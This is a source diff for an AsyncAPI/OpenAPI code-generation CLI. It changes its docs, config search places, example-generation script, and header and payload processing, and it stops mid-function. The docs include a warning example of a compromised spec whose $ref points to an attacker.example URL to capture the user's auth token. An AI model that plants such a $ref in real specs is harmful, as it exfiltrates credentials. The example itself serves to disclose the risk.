.config/codegenrc\n- .config/codegenrc.json\n- .config/codegenrc.yaml\n- .config/codegenrc.yml\n- .config/codegenrc.js\n- .config/codegenrc.ts\n- .config/codegenrc.mjs\n- .config/codegenrc.cjs\n- codegen.config.js\n- codegen.config.ts\n- codegen.config.mjs\n- codegen.config.cjs\n\n## TypeScript Configuration\n\nWhen generating TypeScript code, you can configure global options that apply to all generators. These options can be overridden per-generator if needed.\n\n### Import Extensions (node16/nodenext/verbatimModuleSyntax)\n\nModern TypeScript projects using strict ESM settings (`moduleResolution: \"node16\"` or `\"nodenext\"`, or `verbatimModuleSyntax: true`) require explicit file extensions in import statements. Use the `importExtension` option to configure this:\n\n```javascript\n// codegen.config.mjs\nexport default {\n inputType: 'asyncapi',\n inputPath: './asyncapi.json',\n language: 'typescript',\n importExtension: '.ts', // Required for moduleResolution: \"node16\"\n\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' },\n { preset: 'channels', outputPath: './src/channels', protocols: ['nats'] }\n ]\n};\n```\n\n#### Import Extension Options\n\n| Value | When to Use | tsconfig Settings |\n|-------|-------------|-------------------|\n| `\"none\"` (default) | Bundlers (webpack, vite) or classic Node.js | `moduleResolution: \"node\"` or `\"bundler\"` |\n| `\".ts\"` | Modern ESM with TypeScript sources | `moduleResolution: \"node16\"/\"nodenext\"` + `allowImportingTsExtensions: true` |\n| `\".js\"` | Compiled ESM output | `moduleResolution: \"node16\"/\"nodenext\"` (without `allowImportingTsExtensions`) |\n\n#### Automatic Detection\n\nWhen `importExtension` is not explicitly set in your configuration, the codegen automatically detects the appropriate setting based on your project setup. This enables zero-configuration support for most projects.\n\n**Detection priority:**\n\n1. **Bundler config files** (`vite.config.ts`, `webpack.config.js`, `next.config.js`, etc.) → `\"none\"`\n2. **Bundler in dependencies** (vite, webpack, esbuild, rollup, parcel) → `\"none\"`\n3. **`moduleResolution: \"bundler\"`** in tsconfig.json → `\"none\"`\n4. **`moduleResolution: \"node16\"/\"nodenext\"` + `allowImportingTsExtensions: true`** → `\".ts\"`\n5. **`moduleResolution: \"node16\"/\"nodenext\"`** (without allowImportingTsExtensions) → `\".js\"`\n6. **Otherwise** → Uses default (`\"none\"`)\n\nWhen detection occurs, you'll see an info message:\n```\nAuto-detected importExtension: '.js'\n```\n\n**Note:** You can always override automatic detection by explicitly setting `importExtension` in your configuration.\n\n**Limitation:** Automatic detection only affects `channels` and `client` generators. The `payloads`, `parameters`, `headers`, and `models` generators use Modelina which doesn't currently support import extensions.\n\n#### Per-Generator Override\n\nYou can override the global setting for individual generators:\n\n```javascript\nexport default {\n inputType: 'asyncapi',\n inputPath: './asyncapi.json',\n language: 'typescript',\n importExtension: '.ts', // Global default\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' }, // Uses global .ts\n { preset: 'channels', outputPath: './src/channels', importExtension: 'none' } // Override\n ]\n};\n```\n\n## Remote URL inputs\n\n`inputPath` accepts an `http://` or `https://` URL in addition to a local\nfile path. The same configuration field is used for AsyncAPI, OpenAPI, and\nJSON Schema inputs:\n\n```javascript\nexport default {\n inputType: 'asyncapi',\n inputPath: 'https://example.com/specs/asyncapi.yaml',\n language: 'typescript',\n generators: [\n { preset: 'payloads', outputPath: './src/payloads' }\n ]\n};\n```\n\nFormat detection prefers the response `Content-Type` header\n(`application/json` → JSON, `*yaml*` → YAML), falling back to the URL\nextension and finally to JSON-then-YAML for ambiguous cases.\n\nExternal `$ref` targets (e.g. `$ref:\n'https://example.com/components.yaml#/components/schemas/Pet'`) are also\nresolved over the same code path for AsyncAPI and OpenAPI inputs.\n\n### Authenticating remote requests\n\nFor specs hosted behind authentication, configure the `auth` field. Three\nshapes are supported:\n\n```javascript\n// Bearer token\nauth: { type: 'bearer', token: process.env.API_TOKEN }\n\n// API key in a custom header\nauth: { type: 'apiKey', header: 'X-API-Key', value: process.env.API_KEY }\n\n// Arbitrary headers\nauth: {\n type: 'custom',\n headers: {\n Authorization: `Bearer ${process.env.API_TOKEN}`,\n 'X-Tenant': 'acme'\n }\n}\n```\n\nThe `auth` field is ignored when `inputPath` is a local file path.\n\n### Auth scope and security considerations\n\n**The configured authentication headers are sent to every URL the loader\nfetches**, including:\n\n- The root `inputPath` URL.\n- Every external `$ref` target the parser libraries follow during\n dereferencing — even when the `$ref` points at a different host.\n\nThis is the right default for typical internal-SSO setups where the root\nspec and its `$ref` chain share an auth boundary, but it means that **a\ncompromised spec can exfiltrate your token**:\n\n```yaml\n# Compromised spec at https://api.example.com/openapi.yaml\nopenapi: 3.0.0\npaths:\n /users:\n get:\n responses:\n '200':\n content:\n application/json:\n schema:\n $ref: 'https://attacker.example/exfil.yaml' # ← receives your token\n```\n\n### Watch mode\n\n`--watch` only observes the local filesystem. When `inputPath` is a\nremote URL, the input watcher is skipped and a warning is logged. Use\n`--watchPath` to watch a local file that triggers regeneration (which\nwill re-fetch the URL) on change.",
},
"contributing": {
title: "Contributing to The Codegen Project",
diff --git a/package.json b/package.json
index fed8e705..9eeccafa 100644
--- a/package.json
+++ b/package.json
@@ -108,7 +108,7 @@
"build:browser:minify": "node esbuild.browser.mjs --minify",
"dev": "tsc --watch",
"generate:readme:commands": "oclif readme --readme-path=\"./docs/usage.md\" --output-dir=\"./docs\"",
- "generate:assets": "npm run generate:readme:toc && npm run generate:commands && npm run generate:schema && npm run format",
+ "generate:assets": "npm run generate:readme:toc && npm run generate:commands && npm run generate:schema && npm run format && npm run generate:examples",
"generate:schema": "node scripts/generateSchemaFiles.js",
"generate:playground": "npm run build:browser && cd website && npm run copy:bundle && npm run copy:schema",
"generate:mcp:docs": "cd mcp-server && npm ci && npm run bundle-docs",
@@ -146,6 +146,8 @@
"runtime:amqp:stop": "cd test/runtime && docker compose -f ./docker-compose-amqp.yml down",
"test:blackbox": "concurrently --group -n typescript \"npm run test:blackbox:typescript\"",
"test:blackbox:typescript": "jest ./test/blackbox/typescript.spec.ts",
+ "generate:examples": "node scripts/generateExamples.js",
+ "test:examples": "npm run generate:examples",
"prepare:pr": "npm run build && npm run generate:assets && npm run lint:fix && npm run test:update && npm run runtime:typescript:generate",
"typecheck": "tsc --noEmit",
"typecheck:test": "tsc --noEmit -p tsconfig.test.json"
diff --git a/scripts/generateExamples.js b/scripts/generateExamples.js
new file mode 100644
index 00000000..77250ee0
--- /dev/null
+++ b/scripts/generateExamples.js
@@ -0,0 +1,93 @@
+/* eslint-disable no-console */
+/**
+ * (Re)generate every example against the current CLI build.
+ *
+ * For each `examples/*` that has a package.json:
+ * 1. `npm ci`
+ * 2. if it depends on `@the-codegen-project/cli`, install the freshly-packed
+ * local build over it with `--no-save` (so it exercises this working copy,
+ * not the registry, without rewriting the example's committed manifest)
+ * 3. `npm run generate`
+ *
+ * This serves two purposes with one command:
+ * - `npm run generate:examples` — refresh the examples' committed generated
+ * output (used during release so it never drifts from the CLI output).
+ * - `npm run test:examples` — the same run doubles as a CI smoke test: it
+ * exits non-zero if any example fails to generate. It is intentionally
+ * generation-only; compilation of generated output is covered by the
+ * blackbox tier, and running each example's own build would couple this to
+ * per-example app toolchains/deps (Next.js, ajv, …) rather than the CLI.
+ */
+const {execSync} = require('node:child_process');
+const {
+ readdirSync,
+ readFileSync,
+ existsSync,
+ mkdtempSync,
+ rmSync
+} = require('node:fs');
+const os = require('node:os');
+const path = require('node:path');
+
+const root = path.resolve(__dirname, '..');
+const examplesDir = path.join(root, 'examples');
+
+function run(command, cwd) {
+ console.log(`$ ${command} (in ${path.relative(root, cwd) || '.'})`);
+ execSync(command, {cwd, stdio: 'inherit'});
+}
+
+function dependsOnCli(pkg) {
+ const deps = {...pkg.dependencies, ...pkg.devDependencies};
+ return Boolean(deps['@the-codegen-project/cli']);
+}
+
+// Build and pack the CLI so examples that depend on it use this working copy.
+// Pack into an isolated directory and read the produced file from disk: the
+// `npm pack --json` `filename` field is scoped (`@scope/name-x.y.z.tgz`) on some
+// npm versions but the on-disk file is always flattened (`scope-name-x.y.z.tgz`),
+// so resolving the path from that field is unreliable across npm versions.
+run('npm run build', root);
+const packDir = mkdtempSync(path.join(os.tmpdir(), 'codegen-pack-'));
+run(`npm pack --pack-destination "${packDir}"`, root);
+const packed = readdirSync(packDir).find((file) => file.endsWith('.tgz'));
+if (!packed) {
+ throw new Error(`npm pack did not produce a tarball in ${packDir}`);
+}
+const tarball = path.join(packDir, packed);
+console.log(`Packed CLI tarball: ${tarball}`);
+
+const failures = [];
+try {
+ for (const name of readdirSync(examplesDir).sort()) {
+ const dir = path.join(examplesDir, name);
+ const pkgPath = path.join(dir, 'package.json');
+ if (!existsSync(pkgPath)) {
+ continue;
+ }
+ const pkg = JSON.parse(readFileSync(pkgPath, 'utf8'));
+ console.log(`\n=== ${name} ===`);
+ try {
+ run('npm ci', dir);
+ if (dependsOnCli(pkg)) {
+ // `--no-save` installs the tarball into node_modules without rewriting
+ // the example's package.json/lock, so running this locally does not
+ // dirty the committed examples.
+ run(`npm install "${tarball}" --no-save`, dir);
+ }
+ run('npm run generate', dir);
+ } catch (error) {
+ console.error(`✗ ${name} failed: ${error.message}`);
+ failures.push(name);
+ }
+ }
+} finally {
+ // Clean up the packed tarball directory regardless of outcome.
+ rmSync(packDir, {recursive: true, force: true});
+}
+
+if (failures.length > 0) {
+ console.error(`\nExamples failed: ${failures.join(', ')}`);
+ process.exit(1);
+}
+console.log('\nAll examples generated successfully.');
diff --git a/src/codegen/configurations.ts b/src/codegen/configurations.ts
index 4d853b32..279534cc 100644
--- a/src/codegen/configurations.ts
+++ b/src/codegen/configurations.ts
@@ -43,17 +43,52 @@ import {
import {detectTypeScriptImportExtension} from './detection';
import {isRemoteUrl} from '../utils/inputSource';
const moduleName = 'codegen';
+
+/**
+ * Single source of truth for the configuration file names discovered by
+ * cosmiconfig. The historical 7 `codegen.*` names come **first** so that no
+ * existing project changes which file wins, followed by the cosmiconfig-standard
+ * locations (package.json `codegen` key, the `.codegenrc*` family, the
+ * `.config/codegenrc*` family, and `codegen.config.*`). This same constant feeds
+ * both the explorer's `searchPlaces` and the not-found error message, so the two
+ * can never drift.
+ */
+export const CONFIG_SEARCH_PLACES: string[] = [
+ // Primary names — historical search priority, must remain first.
+ `${moduleName}.json`,
+ `${moduleName}.yaml`,
+ `${moduleName}.yml`,
+ `${moduleName}.js`,
+ `${moduleName}.ts`,
+ `${moduleName}.mjs`,
+ `${moduleName}.cjs`,
+ // cosmiconfig-standard extras.
+ 'package.json',
+ `.${moduleName}rc`,
+ `.${moduleName}rc.json`,
+ `.${moduleName}rc.yaml`,
+ `.${moduleName}rc.yml`,
+ `.${moduleName}rc.js`,
+ `.${moduleName}rc.ts`,
+ `.${moduleName}rc.mjs`,
+ `.${moduleName}rc.cjs`,
+ `.config/${moduleName}rc`,
+ `.config/${moduleName}rc.json`,
+ `.config/${moduleName}rc.yaml`,
+ `.config/${moduleName}rc.yml`,
+ `.config/${moduleName}rc.js`,
+ `.config/${moduleName}rc.ts`,
+ `.config/${moduleName}rc.mjs`,
+ `.config/${moduleName}rc.cjs`,
+ `${moduleName}.config.js`,
+ `${moduleName}.config.ts`,
+ `${moduleName}.config.mjs`,
+ `${moduleName}.config.cjs`
+];
+
const explorer = cosmiconfig(moduleName, {
- searchPlaces: [
- `${moduleName}.json`,
- `${moduleName}.yaml`,
- `${moduleName}.yml`,
- `${moduleName}.js`,
- `${moduleName}.ts`,
- `${moduleName}.mjs`,
- `${moduleName}.cjs`
- ],
- mergeSearchPlaces: true
+ searchPlaces: CONFIG_SEARCH_PLACES,
+ mergeSearchPlaces: false
});
/**
@@ -79,16 +114,7 @@ export async function loadConfigFile(filePath?: string): Promise<{
} else {
cosmiConfig = await explorer.search();
if (!cosmiConfig) {
- const searchLocations = [
- 'codegen.json',
- 'codegen.yaml',
- 'codegen.yml',
- 'codegen.js',
- 'codegen.ts',
- 'codegen.mjs',
- 'codegen.cjs'
- ];
- throw createConfigNotFoundError({searchLocations});
+ throw createConfigNotFoundError({searchLocations: CONFIG_SEARCH_PLACES});
}
}
let codegenConfig;
diff --git a/src/codegen/errors.ts b/src/codegen/errors.ts
index aeee97f5..854b20e4 100644
--- a/src/codegen/errors.ts
+++ b/src/codegen/errors.ts
@@ -93,12 +93,17 @@ export function createConfigNotFoundError(options?: {
});
}
- const locations =
- searchLocations?.map((loc) => ` - ${loc}`).join('\n') || '';
+ // Show the primary `codegen.*` names as bullets (derived from the shared
+ // search-places constant, so this can never drift) and summarize the
+ // cosmiconfig-standard extras on a single line to keep the message readable.
+ const primaryNames = (searchLocations ?? []).filter(
+ (loc) => loc.startsWith('codegen.') && !loc.startsWith('codegen.config.')
+ );
+ const primaryList = primaryNames.map((loc) => ` - ${loc}`).join('\n');
return new CodegenError({
type: ErrorType.CONFIG_NOT_FOUND,
message: 'No configuration file found in the current directory',
- details: `Searched in the following locations:\n${locations}`,
+ details: `Searched for these configuration files (earlier names take priority):\n${primaryList}\n - …or any cosmiconfig-standard location: package.json "codegen" key, .codegenrc.*, .config/codegenrc.*, codegen.config.*`,
help: `Create a configuration file using: codegen init\nOr specify a configuration file path: codegen generate `
});
}
diff --git a/src/codegen/generators/typescript/channels/index.ts b/src/codegen/generators/typescript/channels/index.ts
index 0d17290a..53ea3eac 100644
--- a/src/codegen/generators/typescript/channels/index.ts
+++ b/src/codegen/generators/typescript/channels/index.ts
@@ -3,6 +3,7 @@
/* eslint-disable sonarjs/no-duplicate-string */
import {TheCodegenConfiguration, GeneratedFile} from '../../../types';
import {resolveImportExtension, joinPath} from '../../../utils';
+import {Logger} from '../../../../LoggingInterface';
import {
defaultTypeScriptParametersOptions,
TypeScriptParameterRenderType,
@@ -156,6 +157,15 @@ async function finalizeGeneration(
const indexFilePath = joinPath(context.generator.outputPath, 'index.ts');
files.push({path: indexFilePath, content: indexContent});
+ // No protocol produced any functions — the barrel is still emitted (the
+ // content contract is unchanged), but warn so the user knows nothing usable
+ // was generated and how to fix it.
+ if (generatedProtocols.length === 0) {
+ Logger.warn(
+ `Channels generator '${context.generator.id}' produced no protocol functions. Set 'protocols' (e.g. nats, kafka, mqtt, amqp, http_client, websocket, event_source) in the generator configuration to generate channel functions.`
+ );
+ }
+
return {
parameterRender: parameters,
payloadRender: payloads,
diff --git a/src/codegen/generators/typescript/channels/openapi.ts b/src/codegen/generators/typescript/channels/openapi.ts
index f1d0abce..e9c3eedc 100644
--- a/src/codegen/generators/typescript/channels/openapi.ts
+++ b/src/codegen/generators/typescript/channels/openapi.ts
@@ -22,6 +22,7 @@ import {getMessageTypeAndModule, splitAddressSegments} from './utils';
import {camelCase} from '../utils';
import {createMissingInputDocumentError} from '../../../errors';
import {resolveImportExtension} from '../../../utils';
+import {Logger} from '../../../../LoggingInterface';
import {extractSecuritySchemes} from '../../../inputs/openapi/security';
import {deriveOperationId} from '../../../inputs/openapi/utils';
@@ -189,6 +190,59 @@ function collectErrorStatusCodes(
/**
* Process all OpenAPI operations and generate HTTP client functions.
*/
+/**
+ * Collect HTTP(S) server URLs from an OpenAPI document as quoted string
+ * literals for the generated client's default baseURL. Server variables are
+ * substituted with their defaults; a server whose variable has no default, or
+ * whose URL is relative/non-HTTP, cannot be a baseURL and is skipped.
+ */
+function getOpenAPIHttpServerUrls(openapiDocument: OpenAPIDocument): string[] {
+ const servers = (
+ openapiDocument as {
+ servers?: Array<{
+ url?: string;
+ variables?: Record;
+ }>;
+ }
+ ).servers;
+ if (!Array.isArray(servers)) {
+ return [];
+ }
+ const urls: string[] = [];
+ for (const server of servers) {
+ let url = server.url;
+ if (!url) {
+ continue;
+ }
+ const variableTokens = url.match(/\{([^}]+)\}/g) ?? [];
+ let skip = false;
+ for (const token of variableTokens) {
+ const name = token.slice(1, -1);
+ // eslint-disable-next-line security/detect-object-injection
+ const defaultValue = server.variables?.[name]?.default;
+ if (defaultValue === undefined) {
+ Logger.warn(
+ `OpenAPI server URL '${server.url}' has no default for variable '${name}' and was skipped as a baseURL`
+ );
+ skip = true;
+ break;
+ }
+ url = url.replace(token, defaultValue);
+ }
+ if (skip) {
+ continue;
+ }
+ if (!/^https?:\/\//i.test(url)) {
+ Logger.verbose(
+ `OpenAPI server URL '${url}' is relative or non-HTTP and was skipped as a baseURL`
+ );
+ continue;
+ }
+ urls.push(`'${url}'`);
+ }
+ return urls;
+}
+
function processOpenAPIOperations(
openapiDocument: OpenAPIDocument,
payloads: TypeScriptPayloadRenderType,
@@ -197,6 +251,7 @@ function processOpenAPIOperations(
oauth2Enabled: boolean
): ReturnType[] {
const renders: ReturnType[] = [];
+ const servers = getOpenAPIHttpServerUrls(openapiDocument);
for (const [path, pathItem] of Object.entries(openapiDocument.paths ?? {})) {
if (!pathItem) {
@@ -211,7 +266,8 @@ function processOpenAPIOperations(
payloads,
parameters,
headers,
- oauth2Enabled
+ oauth2Enabled,
+ servers
);
if (render) {
renders.push(render);
@@ -232,7 +288,8 @@ function processOperation(
payloads: TypeScriptPayloadRenderType,
parameters: TypeScriptParameterRenderType,
headers: TypeScriptHeadersRenderType,
- oauth2Enabled: boolean
+ oauth2Enabled: boolean,
+ servers: string[]
): ReturnType | undefined {
// eslint-disable-next-line security/detect-object-injection
const operation = (pathItem as Record)[method] as
@@ -310,6 +367,7 @@ function processOperation(
replyMessageModule,
replyMessageType,
requestTopic: path,
+ servers,
method: method.toUpperCase() as
| 'GET'
| 'POST'
diff --git a/src/codegen/generators/typescript/channels/protocols/http/index.ts b/src/codegen/generators/typescript/channels/protocols/http/index.ts
index 170e244e..b4948dbb 100644
--- a/src/codegen/generators/typescript/channels/protocols/http/index.ts
+++ b/src/codegen/generators/typescript/channels/protocols/http/index.ts
@@ -19,7 +19,7 @@ import {
shouldRenderFunctionType,
getFunctionTypeMappingFromAsyncAPI
} from '../../asyncapi';
-import {ChannelInterface} from '@asyncapi/parser';
+import {AsyncAPIDocumentInterface, ChannelInterface} from '@asyncapi/parser';
import {HttpRenderType} from '../../../../../types';
import {ConstrainedObjectModel} from '@asyncapi/modelina';
import {renderHttpCommonTypes} from './common-types';
@@ -76,6 +76,30 @@ export async function generatehttpChannels(
});
}
+/**
+ * Collect HTTP(S) server URLs from an AsyncAPI document as quoted string
+ * literals ready to be inlined as the generated client's default baseURL.
+ * Non-HTTP servers (nats, kafka, …) are not applicable to the HTTP client.
+ */
+function getAsyncAPIHttpServerUrls(
+ asyncapiDocument?: AsyncAPIDocumentInterface
+): string[] {
+ if (!asyncapiDocument) {
+ return [];
+ }
+ return asyncapiDocument
+ .servers()
+ .all()
+ .filter((server) =>
+ ['http', 'https'].includes((server.protocol() ?? '').toLowerCase())
+ )
+ .map((server) => {
+ const pathname =
+ typeof server.pathname === 'function' ? server.pathname() : undefined;
+ return `'${server.protocol()}://${server.host()}${pathname ?? ''}'`;
+ });
+}
+
// eslint-disable-next-line sonarjs/cognitive-complexity
function generateForOperations(
context: TypeScriptChannelsGeneratorContext,
@@ -85,6 +109,7 @@ function generateForOperations(
): HttpRenderType[] {
const renders: HttpRenderType[] = [];
const {generator, payloads, headers} = context;
+ const servers = getAsyncAPIHttpServerUrls(context.asyncapiDocument);
const functionTypeMapping = generator.functionTypeMapping?.[channel.id()];
for (const operation of channel.operations().all()) {
@@ -136,6 +161,7 @@ function generateForOperations(
replyMessageType,
requestTopic: topic,
method: httpMethod.toUpperCase(),
+ servers,
channelParameters:
parameters !== undefined ? parameters : undefined,
channelHeaders: headers,
diff --git a/src/codegen/inputs/asyncapi/generators/headers.ts b/src/codegen/inputs/asyncapi/generators/headers.ts
index 90d99cb4..5d8bf34d 100644
--- a/src/codegen/inputs/asyncapi/generators/headers.ts
+++ b/src/codegen/inputs/asyncapi/generators/headers.ts
@@ -1,8 +1,129 @@
-import {AsyncAPIDocumentInterface} from '@asyncapi/parser';
+import {
+ AsyncAPIDocumentInterface,
+ ChannelInterface,
+ MessageInterface
+} from '@asyncapi/parser';
import {ProcessedHeadersData} from '../../../generators/typescript/headers';
import {pascalCase} from '../../../generators/typescript/utils';
+import {findNameFromChannel} from '../../../utils';
+import {Logger} from '../../../../LoggingInterface';
import {AsyncAPIInputProcessor} from '@asyncapi/modelina';
+/**
+ * Convert a single message's headers into an internal JSON Schema. Mirrors the
+ * shape used for single-message channels so union members and standalone
+ * headers stay identical.
+ */
+function convertMessageHeaders(message: MessageInterface): any {
+ const schema = AsyncAPIInputProcessor.convertToInternalSchema(
+ message.headers() as any
+ );
+ if (typeof schema === 'boolean') {
+ return schema;
+ }
+ return {
+ type: 'object',
+ ...schema,
+ $id: pascalCase(`${message.id()}_headers`),
+ $schema: 'http://json-schema.org/draft-07/schema'
+ };
+}
+
+/**
+ * Collect the ids of messages that are used *only* as reply messages. A
+ * request/reply channel lists both its request and reply messages, but the
+ * channel-level headers are consumed as the request headers — so reply-only
+ * messages must not be folded into the channel header union (a request must
+ * not carry the response's headers). A message used as both a request and a
+ * reply somewhere is not treated as reply-only.
+ */
+function addMessageIds(
+ messages: MessageInterface[],
+ target: Set
+): void {
+ for (const message of messages) {
+ const id = message.id() ?? message.name();
+ if (id) {
+ target.add(id);
+ }
+ }
+}
+
+function collectReplyOnlyMessageIds(
+ asyncapiDocument: AsyncAPIDocumentInterface
+): Set {
+ const requestIds = new Set();
+ const replyIds = new Set();
+ for (const channel of asyncapiDocument.allChannels().all()) {
+ for (const operation of channel.operations().all()) {
+ addMessageIds(operation.messages().all(), requestIds);
+ const reply = operation.reply();
+ if (reply) {
+ addMessageIds(reply.messages().all(), replyIds);
+ }
+ }
+ }
+ return new Set([...replyIds].filter((id) => !requestIds.has(id)));
+}
+
+/**
+ * Build the header entry for a single channel: `undefined` when no (non-reply)
+ * message has headers, the single message's headers when exactly one does, or a
+ * channel-scoped `oneOf` union when two or more do. Header-less messages that
+ * sit alongside header-bearing ones are warned about.
+ */
+function buildChannelHeaderEntry(
+ channel: ChannelInterface,
+ replyOnlyMessageIds: Set
+): {schema: any; schemaId: string} | undefined {
+ // Exclude reply-only messages — the channel headers model the request side.
+ const messages = channel
+ .messages()
+ .all()
+ .filter(
+ (message) => !replyOnlyMessageIds.has(message.id() ?? message.name() ?? '')
+ );
+ const headerBearingMessages = messages.filter((message) =>
+ message.hasHeaders()
+ );
+
+ if (headerBearingMessages.length === 0) {
+ return undefined;
+ }
+
+ for (const message of messages) {
+ if (!message.hasHeaders()) {
+ Logger.warn(
+ `Message '${message.id() ?? message.name()}' in '${findNameFromChannel(channel)}' has no headers and was skipped from the headers union`
+ );
+ }
+ }
+
+ if (headerBearingMessages.length === 1) {
+ // Exactly one header-bearing message → unchanged single-message output.
+ const message = headerBearingMessages[0];
+ return {
+ schema: convertMessageHeaders(message),
+ schemaId: pascalCase(`${message.id()}_headers`)
+ };
+ }
+
+ // 2+ header-bearing messages → a oneOf union, mirroring the payloads union
+ // builder (channel-scoped union id).
+ const unionId = pascalCase(`${findNameFromChannel(channel)}_Headers`);
+ return {
+ schema: {
+ type: 'object',
+ $id: unionId,
+ $schema: 'http://json-schema.org/draft-07/schema',
+ oneOf: headerBearingMessages.map((message) =>
+ convertMessageHeaders(message)
+ )
+ },
+ schemaId: unionId
+ };
+}
+
// AsyncAPI input processor
export function processAsyncAPIHeaders(
asyncapiDocument: AsyncAPIDocumentInterface
@@ -16,39 +137,13 @@ export function processAsyncAPIHeaders(
| undefined
> = {};
- for (const channel of asyncapiDocument.allChannels().all()) {
- const messages = channel.messages().all();
- let hasHeadersInChannel = false;
-
- for (const message of messages) {
- if (message.hasHeaders()) {
- let schemaObj: any;
- const schema = AsyncAPIInputProcessor.convertToInternalSchema(
- message.headers() as any
- );
- if (typeof schema === 'boolean') {
- schemaObj = schema;
- } else {
- schemaObj = {
- type: 'object',
- ...schema,
- $id: pascalCase(`${message.id()}_headers`),
- $schema: 'http://json-schema.org/draft-07/schema'
- };
- }
-
- channelHeaders[channel.id()] = {
- schema: schemaObj,
- schemaId: pascalCase(`${message.id()}_headers`)
- };
- hasHeadersInChannel = true;
- break; // Use first message with headers for the channel
- }
- }
+ const replyOnlyMessageIds = collectReplyOnlyMessageIds(asyncapiDocument);
- if (!hasHeadersInChannel) {
- channelHeaders[channel.id()] = undefined;
- }
+ for (const channel of asyncapiDocument.allChannels().all()) {
+ channelHeaders[channel.id()] = buildChannelHeaderEntry(
+ channel,
+ replyOnlyMessageIds
+ );
}
return {channelHeaders};
diff --git a/src/codegen/inputs/asyncapi/generators/payloads.ts b/src/codegen/inputs/asyncapi/generators/payloads.ts
index 4dbc79c3..6305c2be 100644
--- a/src/codegen/inputs/asyncapi/generators/payloads.ts
+++ b/src/codegen/inputs/asyncapi/generators/payloads.ts
@@ -8,6 +8,7 @@ import {
findReplyId,
onlyUnique
} from '../../../utils';
+import {Logger} from '../../../../LoggingInterface';
// Interface for processed payload schema data
export interface ProcessedPayloadSchemaData {
@@ -35,13 +36,29 @@ export async function processAsyncAPIPayloads(
};
let id = preId;
const messages = messagesToProcess;
- if (messages.length > 1) {
+ const payloadBearingMessages = messages.filter((message) =>
+ message.hasPayload()
+ );
+
+ // Nothing to generate a payload from.
+ if (payloadBearingMessages.length === 0) {
+ return;
+ }
+
+ // Warn (rather than silently truncate) about payload-less messages that sit
+ // alongside payload-bearing ones — they are dropped from the payload union.
+ for (const message of messages) {
+ if (!message.hasPayload()) {
+ Logger.warn(
+ `Message '${message.id() ?? message.name()}' in '${preId}' has no payload and was skipped from the payload union`
+ );
+ }
+ }
+
+ if (payloadBearingMessages.length > 1) {
schemaObj.oneOf = [];
schemaObj['$id'] = pascalCase(`${preId}_Payload`);
- for (const message of messages) {
- if (!message.hasPayload()) {
- break;
- }
+ for (const message of payloadBearingMessages) {
const schema = AsyncAPIInputProcessor.convertToInternalSchema(
message.payload() as any
);
@@ -63,33 +80,25 @@ export async function processAsyncAPIPayloads(
});
}
}
- } else if (messages.length === 1) {
- const message = messages[0];
- if (message.hasPayload()) {
- const schema = AsyncAPIInputProcessor.convertToInternalSchema(
- message.payload() as any
- );
- if (typeof schema === 'boolean') {
- schemaObj = schema;
- } else {
- id =
- message.id() ??
- message.name() ??
- schema['x-modelgen-inferred-name'];
- if (id.includes('AnonymousSchema_')) {
- id = pascalCase(`${preId}_Payload`);
- }
- schemaObj = {
- ...schemaObj,
- ...(schema as any),
- $id: id
- };
- }
+ } else {
+ const message = payloadBearingMessages[0];
+ const schema = AsyncAPIInputProcessor.convertToInternalSchema(
+ message.payload() as any
+ );
+ if (typeof schema === 'boolean') {
+ schemaObj = schema;
} else {
- return;
+ id =
+ message.id() ?? message.name() ?? schema['x-modelgen-inferred-name'];
+ if (id.includes('AnonymousSchema_')) {
+ id = pascalCase(`${preId}_Payload`);
+ }
+ schemaObj = {
+ ...schemaObj,
+ ...(schema as any),
+ $id: id
+ };
}
- } else {
- return;
}
return {
diff --git a/src/codegen/inputs/openapi/generators/headers.ts b/src/codegen/inputs/openapi/generators/headers.ts
index 9534e095..fdd6f65d 100644
--- a/src/codegen/inputs/openapi/generators/headers.ts
+++ b/src/codegen/inputs/openapi/generators/headers.ts
@@ -92,7 +92,7 @@ function extractHeadersFromOperations(
return param.in === 'header';
});
- if (allParameters.length > 0) {
+ if (headerParams.length > 0) {
const operationId = deriveOperationId({
operationId: operationObj.operationId,
method,
diff --git a/src/codegen/inputs/openapi/generators/parameters.ts b/src/codegen/inputs/openapi/generators/parameters.ts
index 94242cb3..3e6b54fe 100644
--- a/src/codegen/inputs/openapi/generators/parameters.ts
+++ b/src/codegen/inputs/openapi/generators/parameters.ts
@@ -7,6 +7,7 @@ import {
} from '../../../generators/typescript/utils';
import {ProcessedParameterSchemaData} from '../../asyncapi/generators/parameters';
import {deriveOperationId} from '../utils';
+import {Logger} from '../../../../LoggingInterface';
import {
ConstrainedObjectModel,
TS_DESCRIPTION_PRESET,
@@ -75,6 +76,19 @@ export function processOpenAPIParameters(
// Collect parameters from operation and path-level
const allParameters = operationObj.parameters ?? [];
+ // Cookie parameters have no generated handling; warn (once per operation)
+ // rather than dropping them silently.
+ const cookieParams = allParameters.filter(
+ (param: any) => param.in === 'cookie'
+ );
+ if (cookieParams.length > 0) {
+ Logger.warn(
+ `OpenAPI operation '${method.toUpperCase()} ${pathKey}' has cookie parameter(s) [${cookieParams
+ .map((param: any) => param.name)
+ .join(', ')}] which are not supported and were dropped.`
+ );
+ }
+
const filteredParams = allParameters.filter((param: any) => {
return ['path', 'query'].includes(param.in);
});
diff --git a/src/codegen/inputs/openapi/generators/payloads.ts b/src/codegen/inputs/openapi/generators/payloads.ts
index 0cd10fc7..fa2d8b01 100644
--- a/src/codegen/inputs/openapi/generators/payloads.ts
+++ b/src/codegen/inputs/openapi/generators/payloads.ts
@@ -5,10 +5,44 @@ import {ProcessedPayloadSchemaData} from '../../asyncapi/generators/payloads';
import {pascalCase} from '../../../generators/typescript/utils';
import {onlyUnique} from '../../../utils';
import {deriveOperationId} from '../utils';
+import {Logger} from '../../../../LoggingInterface';
// Constants
const JSON_SCHEMA_DRAFT_07 = 'http://json-schema.org/draft-07/schema';
+/**
+ * Whether a content type carries JSON: `application/json`, `text/json`, or any
+ * type whose subtype ends in `+json` (e.g. `application/hal+json`). Media type
+ * parameters (`; charset=...`) are ignored.
+ */
+function isJsonContentType(contentType: string): boolean {
+ const normalized = contentType.toLowerCase().split(';')[0].trim();
+ return (
+ normalized === 'application/json' ||
+ normalized === 'text/json' ||
+ normalized.endsWith('+json')
+ );
+}
+
+/**
+ * Pick the schema of the best JSON content type in an OpenAPI 3.x content map,
+ * preferring exact `application/json` over other JSON-family types.
+ */
+function pickJsonSchema(content: Record): any | null {
+ const jsonEntries = Object.entries(content).filter(([contentType]) =>
+ isJsonContentType(contentType)
+ );
+ if (jsonEntries.length === 0) {
+ return null;
+ }
+ const preferred =
